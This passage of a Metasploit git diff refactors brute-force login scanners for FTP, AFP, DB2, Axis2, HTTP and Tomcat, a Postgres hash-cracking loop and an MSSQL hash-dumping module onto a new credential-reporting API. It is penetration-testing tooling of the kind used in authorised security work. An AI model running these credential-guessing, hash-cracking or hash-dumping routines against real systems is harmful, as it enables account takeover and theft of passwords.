myloots = myworkspace.loots.where('ltype=?', 'postgres.hashes') - unless myloots.nil? - myloots.each do |myloot| - begin - postgres_array = CSV.read(myloot.path).drop(1) - rescue - print_error("Unable to process #{myloot.path}") - end - postgres_array.each do |row| - print_status("Attempting to crack hash: #{row[0]}:#{row[1]}") - password = crack_hash(row[0],row[1]) - if password - print_good("Username: #{row[0]} Pass: #{password}") - report_auth_info( - :host => myloot.host.address, - :port => myloot.service.port, - :sname => 'postgres', - :user => row[0], - :pass => password - ) - - end - end - end - end - - end - - def crack_hash(username,hash) - - @seed.each do |word| - tmphash = Digest::MD5.hexdigest("#{word}#{username}") - if tmphash == hash - return word - end - end - - return nil - - end - - - -end diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index c7b5dd6cde..78673a1e8d 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -3,9 +3,20 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +# +# Gems +# + +# for extracting files +require 'zip' + +# +# Project +# + require 'msf/core' -require 'zip/zip' #for extracting files -require 'rex/zip' #for creating files +# for creating files +require 'rex/zip' class Metasploit3 < Msf::Auxiliary @@ -144,17 +155,17 @@ class Metasploit3 < Msf::Auxiliary #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way def unzip_docx - #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::ZipFile + #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File vprint_status("Extracting #{datastore['SOURCE']} into memory.") #we read it all into memory zip_data = Hash.new begin - Zip::ZipFile.open(datastore['SOURCE']) do |filezip| + Zip::File.open(datastore['SOURCE']) do |filezip| filezip.each do |entry| zip_data[entry.name] = filezip.read(entry) end end - rescue Zip::ZipError => e + rescue Zip::Error => e print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.") return nil end diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index f3affe799d..f55557941d 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -5,6 +5,8 @@ require 'msf/core' require 'openssl' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/afp' class Metasploit3 < Msf::Auxiliary @@ -41,83 +43,70 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("Scanning IP: #{ip.to_s}") - begin - connect - info = get_info # get_info drops connection - raise "Unsupported AFP version" unless info[:uams].include?("DHCAST128") + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - if datastore['CHECK_GUEST'] && info[:uams].include?("No User Authent") - connect - open_session - do_guest_login - close_session - end + scanner = Metasploit::Framework::LoginScanner::AFP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) - each_user_pass do |user, pass| - if user == '' - return :skip_user # check guest login once per host - end + service_data = { + address: ip, + port: rport, + service_name: 'afp', + protocol: 'tcp', + workspace_id: myworkspace_id + } - vprint_status("Trying to login as '#{user}' with password '#{pass}'") - connect - open_session - status = do_login(user, pass) - close_session # close_session drops connection + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } + credential_data.merge!(service_data) - status - end - rescue ::Timeout::Error - raise $! - rescue ::Interrupt - raise $! - rescue ::Rex::ConnectionError, ::IOError, ::Errno::ECONNRESET, ::Errno::ENOPROTOOPT - rescue ::Exception - print_error("#{rhost}:#{rport} #{$!.class} #{$!}") - ensure - close_session if sock - disconnect - end - end + credential_core = create_credential(credential_data) - def do_login(user, pass) - status = login(user, pass) + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) - if status == true - status = :next_user - print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{pass}'") - report_auth_info({ - :host => rhost, - :port => rport, - :sname => 'afp', - :user => user, - :pass => pass, - :source_type => 'user_supplied', - :active => true - }) - end - return status - end - - def do_guest_login - status = login('', '') - if status - status = :next_user - print_good("#{rhost} Supports Guest logins") - - if datastore['RECORD_GUEST'] - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'atp', - :user => '', - :pass => '', - :type => "Guest Login", - :source_type => "user_supplied", - :active => true - ) + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end end - return status end + + end diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 0ba46d6973..77db75d7ff 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -5,7 +5,8 @@ require 'msf/core' - +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/db2' class Metasploit3 < Msf::Auxiliary @@ -40,44 +41,71 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - each_user_pass { |user, pass| - do_login(user,pass,datastore['DATABASE']) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + realm: datastore['DATABASE'] + ) + + scanner = Metasploit::Framework::LoginScanner::DB2.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) + + service_data = { + address: ip, + port: rport, + service_name: 'db2', + protocol: 'tcp', + workspace_id: myworkspace_id } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::DB2_DATABASE, + realm_value: result.credential.realm, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: Metasploit::Model::Realm::Key::DB2_DATABASE, + realm_value: result.credential.realm, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" + end + end end - def do_login(user=nil,pass=nil,db=nil) - datastore['USERNAME'] = user - datastore['PASSWORD'] = pass - vprint_status("#{rhost}:#{rport} - DB2 - Trying username:'#{user}' with password:'#{pass}'") - - begin - info = db2_check_login - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} : Unable to attempt authentication") - return :abort - rescue ::Rex::Proto::DRDA::RespError => e - vprint_error("#{rhost}:#{rport} : Error in connecting to DB2 instance: #{e}") - return :abort - end - - disconnect - - if info[:db_login_success] - print_good("#{rhost}:#{rport} - DB2 - successful login for '#{user}' : '#{pass}' against database '#{db}'") - # Report credentials - report_auth_info( - :host => rhost, - :port => rport, - :sname => "db2", - :user => "#{db}/#{user}", - :pass => pass, - :active => true - ) - return :next_user - else - vprint_error("#{rhost}:#{rport} - DB2 - failed login for '#{user}' : '#{pass}' against database '#{db}'") - return :fail - end - - end end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index 063b8dd92a..b6e98732a8 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/ftp' class Metasploit3 < Msf::Auxiliary @@ -52,134 +54,98 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) print_status("#{ip}:#{rport} - Starting FTP login sweep") - if check_banner - @@credentials_tried = {} - if datastore['RECORD_GUEST'] == false and check_anonymous == :next_user - @accepts_all_logins[@access] ||= [] - @accepts_all_logins[@access] << ip - print_status("Successful authentication with #{@access.to_s} access on #{ip} will not be reported") + + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + prepended_creds: anonymous_creds + ) + + scanner = Metasploit::Framework::LoginScanner::FTP.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 30 + ) + + service_data = { + address: ip, + port: rport, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + access_level: test_ftp_access(result.credential.public, scanner), + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - each_user_pass { |user, pass| - next if user.nil? - ret = do_login(user,pass) - ftp_quit if datastore['SINGLE_SESSION'] - if ret == :next_user - unless user == user.downcase - ret = do_login(user.downcase,pass) - if ret == :next_user - user = user.downcase - print_status("Username #{user} is not case sensitive") - end - end - if datastore['RECORD_GUEST'] - report_ftp_creds(user,pass,@access) - else - if @accepts_all_logins[@access] - report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip) - else - report_ftp_creds(user,pass,@access) - end - end - end - ret - } -# check_anonymous - else - return end - ftp_quit + end - def ftp_quit - begin - send_quit if @ftp_sock - rescue ::Rex::ConnectionError, EOFError, ::Errno::ECONNRESET - end - disconnect if @ftp_sock - @ftp_sock = nil - end # Always check for anonymous access by pretending to be a browser. - def check_anonymous - browser_passwords = {} - browser_passwords['IE6'] = "IEUser@" - browser_passwords['IE8'] = "User@" - browser_passwords['Firefox'] = 'mozilla@example.com' - browser_passwords['Chrome'] = 'chrome@example.com' - unless @@credentials_tried.keys.include? "#{rhost}:#{rport}:anonymous" - do_login("anonymous",browser_passwords.values[rand(browser_passwords.size)]) - end - end - - def check_banner - @ftp_sock = connect(true, false) - if self.banner - banner_sanitized = Rex::Text.to_hex_ascii(self.banner.to_s) - print_status("#{rhost}:#{rport} - FTP Banner: '#{banner_sanitized}'") - report_service(:host => rhost, :port => rport, :name => "ftp", :info => banner_sanitized) - return true - else - print_error("#{rhost}:#{rport} - Did not get an FTP service banner") - return false - end - end - - def do_login(user=nil,pass=nil) - vprint_status("#{rhost}:#{rport} - Attempting FTP login for '#{user}':'#{pass}'") - this_attempt ||= {} - this_attempt[[user,pass]] ||= 0 - while this_attempt[[user,pass]] <= 3 - @ftp_sock = connect(true,false) unless @ftp_sock - begin - user_response = send_user(user, @ftp_sock) - if user_response !~ /^(331|2)/ - vprint_error("#{rhost}:#{rport} - The server rejected username: '#{user}'") - return :skip_user - end - pass_response = send_pass(pass, @ftp_sock) - if pass_response =~ /^2/ - print_good("#{rhost}:#{rport} - Successful FTP login for '#{user}':'#{pass}'") - @access = test_ftp_access(user) - ftp_quit - return :next_user - else - vprint_status("#{rhost}:#{rport} - Failed FTP login for '#{user}':'#{pass}'") - return :fail - end - rescue ::Rex::ConnectionError, EOFError, ::Errno::ECONNRESET => e - this_attempt[[user,pass]] += 1 - vprint_error "#{rhost}:#{rport} - Caught #{e.class}, reconnecting and retrying" - disconnect - @ftp_sock = nil + def anonymous_creds + anon_creds = [ ] + if datastore['RECORD_GUEST'] + ['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password| + anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password) end end - return :connection_error + anon_creds end - def test_ftp_access(user) + def test_ftp_access(user,scanner) dir = Rex::Text.rand_text_alpha(8) - write_check = send_cmd(['MKD', dir], true) + write_check = scanner.send_cmd(['MKD', dir], true) if write_check and write_check =~ /^2/ - send_cmd(['RMD',dir], true) + scanner.send_cmd(['RMD',dir], true) print_status("#{rhost}:#{rport} - User '#{user}' has READ/WRITE access") - return :write + return 'Read/Write' else print_status("#{rhost}:#{rport} - User '#{user}' has READ access") - return :read + return 'Read-only' end end - def report_ftp_creds(user,pass,access) - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'ftp', - :user => user, - :pass => pass, - :type => "password#{access == :read ? "_ro" : "" }", - :source_type => "user_supplied", - :active => true - ) - end end diff --git a/modules/auxiliary/scanner/http/axis_login.rb b/modules/auxiliary/scanner/http/axis_login.rb index dfda5560f7..363b0fece9 100644 --- a/modules/auxiliary/scanner/http/axis_login.rb +++ b/modules/auxiliary/scanner/http/axis_login.rb @@ -5,7 +5,7 @@ require 'msf/core' - +require 'metasploit/framework/login_scanner/axis2' class Metasploit3 < Msf::Auxiliary @@ -17,10 +17,12 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'Apache Axis2 v1.4.1 Brute Force Utility', - 'Description' => %q{This module attempts to login to an Apache Axis2 v1.4.1 - instance using username and password combindations indicated by the USER_FILE, - PASS_FILE, and USERPASS_FILE options. + 'Name' => 'Apache Axis2 Brute Force Utility', + 'Description' => %q{ + This module attempts to login to an Apache Axis2 instance using + username and password combindations indicated by the USER_FILE, + PASS_FILE, and USERPASS_FILE options. It has been verified to + work on at least versions 1.4.1 and 1.6.2. }, 'Author' => [ @@ -35,9 +37,9 @@ class Metasploit3 < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options( - [ Opt::RPORT(8080), - OptString.new('URI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']), + register_options( [ + Opt::RPORT(8080), + OptString.new('URI', [false, 'Path to the Apache Axis Administration page', '/axis2/axis2-admin/login']), ], self.class) end @@ -49,10 +51,10 @@ class Metasploit3 < Msf::Auxiliary print_status("Verifying login exists at #{target_url}") begin - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => datastore['URI'] - }, 20) + send_request_cgi({ + 'method' => 'GET', + 'uri' => datastore['URI'] + }, 20) rescue print_error("The Axis2 login page does not exist at #{target_url}") return @@ -60,46 +62,88 @@ class Metasploit3 < Msf::Auxiliary print_status "#{target_url} - Apache Axis - Attempting authentication" - each_user_pass { |user, pass| - do_login(user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::Axis2.new( + host: ip, + port: rport, + uri: datastore['URI'], + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + ) + + scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + end + end + + end + + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id } + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) end - def do_login(user=nil,pass=nil) - post_data = "userName=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&submit=+Login+" - vprint_status("#{target_url} - Apache Axis - Trying username:'#{user}' with password:'#{pass}'") - - begin - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => datastore['URI'], - 'data' => post_data, - }, 20) - - if (res and res.code == 200 and res.body.to_s.match(/upload/) != nil) - print_good("#{target_url} - Apache Axis - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Apache Axis\", VHOST=#{vhost}", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true - ) - - elsif(res and res.code == 200) - vprint_error("#{target_url} - Apache Axis - Failed to login as '#{user}'") - else - vprint_error("#{target_url} - Apache Axis - Unable to authenticate.") - return :abort - end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - end - end end diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 4626686a0c..b94f6c5787 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -6,6 +6,8 @@ require 'msf/core' require 'rex/proto/ntlm/message' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/http' class Metasploit3 < Msf::Auxiliary @@ -29,7 +31,13 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '1999-0502'] # Weak password ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + # See https://dev.metasploit.com/redmine/issues/8814 + #'DefaultOptions' => { + # 'USERPASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_userpass.txt"), + # 'USER_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_users.txt"), + # 'PASS_FILE' => File.join(Msf::Config.data_directory, "wordlists", "http_default_pass.txt"), + #} ) register_options( @@ -48,7 +56,7 @@ class Metasploit3 < Msf::Auxiliary def find_auth_uri - if datastore['AUTH_URI'] and datastore['AUTH_URI'].length > 0 + if datastore['AUTH_URI'].present? paths = [datastore['AUTH_URI']] else paths = %W{ @@ -68,8 +76,8 @@ class Metasploit3 < Msf::Auxiliary 'password' => '' }, 10) - next if not res - if res.code == 301 or res.code == 302 and res.headers['Location'] and res.headers['Location'] !~ /^http/ + next unless res + if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/ path = res.headers['Location'] vprint_status("Following redirect: #{path}") res = send_request_cgi({ @@ -80,6 +88,7 @@ class Metasploit3 < Msf::Auxiliary }, 10) next if not res end + next unless res.code == 401 return path end @@ -96,7 +105,7 @@ class Metasploit3 < Msf::Auxiliary end def run_host(ip) - if ( datastore['REQUESTTYPE'] == "PUT" ) and (datastore['AUTH_URI'] == "") + if (datastore['REQUESTTYPE'] == "PUT") && (datastore['AUTH_URI'].blank?) print_error("You need need to set AUTH_URI when using PUT Method !") return end @@ -110,84 +119,92 @@ class Metasploit3 < Msf::Auxiliary print_status("Attempting to login to #{target_url}") - each_user_pass { |user, pass| - do_login(user, pass) - } - end + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) - def do_login(user='admin', pass='admin') - vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'") + scanner = Metasploit::Framework::LoginScanner::HTTP.new( + host: ip, + port: rport, + uri: @uri, + method: datastore['REQUESTTYPE'], + proxies: datastore["PROXIES"], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 5, + ) - response = do_http_login(user,pass) - result = determine_result(response) - - if result == :success - print_good("#{target_url} - Successful login '#{user}' : '#{pass}'") - - any_user = false - any_pass = false - - vprint_status("#{target_url} - Trying random username with password:'#{pass}'") - any_user = determine_result(do_http_login(Rex::Text.rand_text_alpha(8), pass)) - - vprint_status("#{target_url} - Trying username:'#{user}' with random password") - any_pass = determine_result(do_http_login(user, Rex::Text.rand_text_alpha(8))) - - if any_user == :success - user = "anyuser" - print_status("#{target_url} - Any username with password '#{pass}' is allowed") - else - print_status("#{target_url} - Random usernames are not allowed.") - end - - if any_pass == :success - pass = "anypass" - print_status("#{target_url} - Any password with username '#{user}' is allowed") - else - print_status("#{target_url} - Random passwords are not allowed.") - end - - unless (user == "anyuser" and pass == "anypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Generic\", PROOF=#{response.to_s}", - :source_type => "user_supplied", - :active => true + scanner.scan! do |result| + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'" + do_report(ip, rport, result) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status ) + :abort + when Metasploit::Model::Login::Status::INCORRECT + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: result.credential.realm_key, + realm_value: result.credential.realm, + status: result.status + ) + when Metasploit::Model::Login::Status::NO_AUTH_REQUIRED + print_brute :level => :error, :ip => ip, :msg => "Failed: '#{result.credential}'" + break end - - return :abort if ([any_user,any_pass].include? :success) - return :next_user - else - vprint_error("#{target_url} - Failed to login as '#{user}'") - return end + end - def do_http_login(user,pass) - begin - response = send_request_cgi({ - 'uri' => @uri, - 'method' => datastore['REQUESTTYPE'], - 'username' => user, - 'password' => pass - }) - return response - rescue ::Rex::ConnectionError - vprint_error("#{target_url} - Failed to connect to the web server") - return nil - end - end + def do_report(ip, port, result) + service_data = { + address: ip, + port: port, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } - def determine_result(response) - return :abort unless response.kind_of? Rex::Proto::Http::Response - return :abort unless response.code - return :success if [200, 301, 302].include?(response.code) - return :fail + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public, + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: result.status + }.merge(service_data) + + create_credential_login(login_data) end end diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 92c6141166..e98727c6dd 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -4,6 +4,8 @@ ## require 'msf/core' +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/tomcat' class Metasploit3 < Msf::Auxiliary @@ -91,60 +93,68 @@ class Metasploit3 < Msf::Auxiliary return end - each_user_pass { |user, pass| - do_login(user, pass) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'], + ) + + scanner = Metasploit::Framework::LoginScanner::Tomcat.new( + host: ip, + port: rport, + proxies: datastore['PROXIES'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + connection_timeout: 10 + ) + + service_data = { + address: ip, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id } - end - def do_login(user='tomcat', pass='tomcat') - vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' with password:'#{pass}'") - success = false - srvhdr = '?' - uri = normalize_uri(datastore['URI']) - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'username' => user, - 'password' => pass - }, 25) - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("http://#{rhost}:#{rport}#{uri} not responding") - return :abort + scanner.scan! do |result| + if result.success? + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: result.credential.private, + private_type: :password, + username: result.credential.public + } + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + create_credential_login(login_data) + print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}" + else + invalidate_login( + address: ip, + port: rport, + protocol: 'tcp', + public: result.credential.public, + private: result.credential.private, + realm_key: nil, + realm_value: nil, + status: result.status) + print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})" end - return :abort if (res.code == 404) - srvhdr = res.headers['Server'] - if res.code == 200 - # Could go with res.headers['Server'] =~ /Apache-Coyote/i - # as well but that seems like an element someone's more - # likely to change - success = true if(res.body.scan(/Tomcat/i).size >= 5) - success - end - - rescue ::Rex::ConnectionError => e - vprint_error("http://#{rhost}:#{rport}#{uri} - #{e}") - return :abort - end - - if success - print_good("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] successful login '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? 'https' : 'http'), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"Tomcat Application Manager\"", - :source_type => "user_supplied", - :duplicate_ok => true, - :active => true - ) - - return :next_user - else - vprint_error("http://#{rhost}:#{rport}#{uri} [#{srvhdr}] [Tomcat Application Manager] failed to login as '#{user}'") - return end end + end diff --git a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb index a31c2637c6..f5da77dd1c 100644 --- a/modules/auxiliary/scanner/mssql/mssql_hashdump.rb +++ b/modules/auxiliary/scanner/mssql/mssql_hashdump.rb @@ -35,17 +35,57 @@ class Metasploit3 < Msf::Auxiliary return end + service_data = { + address: ip, + port: rport, + service_name: 'mssql', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: datastore['PASSWORD'], + private_type: :password, + username: datastore['USERNAME'] + } + + if datastore['USE_WINDOWS_AUTHENT'] + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = datastore['DOMAIN'] + end + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + last_attempted_at: DateTime.now, + status: Metasploit::Model::Login::Status::SUCCESSFUL + } + login_data.merge!(service_data) + + is_sysadmin = mssql_query(mssql_is_sysadmin())[:rows][0][0] + + unless is_sysadmin == 0 + login_data[:access_level] = 'admin' + end + + create_credential_login(login_data) + #Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8) instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1] print_status("Instance Name: #{instancename.inspect}") version = mssql_query(mssql_sql_info())[:rows][0][0] version_year = version.split('-')[0].slice(/\d\d\d\d/) - mssql_hashes = mssql_hashdump(version_year) - unless mssql_hashes.nil? - report_hashes(mssql_hashes,version_year) + unless is_sysadmin == 0 + mssql_hashes = mssql_hashdump(version_year) + unless mssql_hashes.nil? + report_hashes(mssql_hashes,version_year) + end end - end @@ -55,10 +95,12 @@ class Metasploit3 < Msf::Auxiliary case version_year when "2000" - hashtype = "mssql.hashes" + hashtype = "mssql" when "2005", "2008" - hashtype = "mssql05.hashes" + hashtype = "mssql05" + when "2012", "2014" + hashtype = "mssql12" end this_service = report_service( @@ -74,15 +116,42 @@ class Metasploit3 < 